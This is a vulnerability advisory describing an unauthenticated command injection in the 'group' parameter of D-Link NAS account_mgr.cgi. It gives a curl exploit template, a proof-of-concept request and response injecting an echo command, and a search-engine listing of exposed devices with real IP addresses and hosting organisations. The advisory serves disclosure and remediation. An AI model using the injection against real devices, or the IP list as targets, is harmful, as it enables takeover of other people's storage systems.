

Command Injection Vulnerability in `group` parameter for D-Link NAS

Overview

A command injection vulnerability has been identified in the `account_mgr.cgi` URI of certain D-Link NAS devices. Specifically, the vulnerability exists in the handling of the `group` parameter used within the CGI script `cgi_user_add` command. This flaw allows an unauthenticated attacker to inject arbitrary shell commands through crafted HTTP GET requests, affecting over 61,000 devices on the Internet.

product="D_Link-DNS-ShareCenter"

PricingSupport

all

61,147 results (41,097 unique IP) , 663 ms , Keyword Search

Nearly year results, click to view all results.

TOP PRODUCTS

D_Link-DNS-ShareCenter

61,147

TELTONIKA-WebUI

320

LINKNET-LW-N605R

320

JIRA

320

CISCO-Products

320

TOP FID

hWN+

52,912

aCsin

6,603

2VQB

1,309

PQyG

320

2l6kFg

1

TOP COUNTRIES/REGIONS

>> United Ki

10,381

>> Italy

5,835

>> Germany

4,877

>> Russian

3,936

>> Hungary

3,819

TOP CATEGORIES

Network Storage

61,147

Other Enterprise Application

640

Router

320

https://86.149.115.172

hWN...

86.149.115.172

United Kingdom of Great Brit...

ASN: 2856

Organization: British Telecommun...

2024-10-28

lighttpd/1.4.28

Header

Products

HTTP/1.1 200 OK

Connection: close

Content-Length: 10875

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html

Date: Mon, 28 Oct 2024 07:49:36 GMT

Etag: "3550664186"

Last-Modified: Tue, 28 Jul 2015 13:11:33 GMT

04b02...

https://121.121.82.189

hWN...

121.121.82.189

Malaysia / Selangor / Sha...

ASN: 9534

Organization: Binariang Berhad

2024-10-28

lighttpd/1.4.28

Header

Products

HTTP/1.1 200 OK

Connection: close

Content-Length: 10875

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html

Date: Mon, 28 Oct 2024 07:49:32 GMT

Etag: "3641176067"

Last-Modified: Fri, 22 Aug 2014 10:39:22 GMT

04b02...

https://69.66.80.120:8443

hWN...

69.66.80.120:8443

United States of America

ASN: 15169

Organization: Google LLC

2024-10-28

lighttpd/1.4.28

Header

Products

HTTP/1.1 200 OK

Connection: close

Content-Length: 10875

Accept-Ranges: bytes

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Content-Type: text/html

Date: Mon, 28 Oct 2024 07:49:32 GMT

Etag: "3641176067"

Last-Modified: Fri, 22 Aug 2014 10:39:22 GMT

04b02...

Affected Devices

- DNS-320 Version 1.00
- DNS-320LW Version 1.01.0914.2012
- DNS-325 Version 1.01, Version 1.02
- DNS-340L Version 1.08

Affected Components

The vulnerability is localized to the `account_mgr.cgi` script, particularly in the handling of the `cgi_user_add` command. The `group` parameter in this script does not adequately sanitize input, allowing for command execution.

CWE

CWE-77: Command Injection.

Exploitation

To exploit this vulnerability, an attacker sends a crafted HTTP GET request to the NAS device with malicious input in the `group` parameter. An example exploit request is as follows:

```
curl "http://[Target-IP]/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;<INJECTED_SHELL_COMMAND>;%27"
```

This `curl` request constructs a URL that triggers the `cgi_user_add` command with a `group` parameter that includes an injected shell command.

Actual Result

```
GET http://[redacted]/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27
;echo%20KLJKL;%27 HTTP/1.1
User-Agent: [redacted]
Accept: */*
Host: [redacted]
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Date: Mon, 28 Oct 2024 12:59:15 GMT
Server: lighttpd/1.4.25-devel-fb150ff
Proxy-Connection: keep-alive

KLJKL
Content-type: text/html
```

Fix Recommendation

To remediate this vulnerability, it is recommended that:

1. Apply available patches and updates from the device manufacturer.
2. Users of the affected devices should apply the firmware update as soon as it is available.
3. As an interim measure, network access to the NAS management interface should be restricted to trusted IP addresses.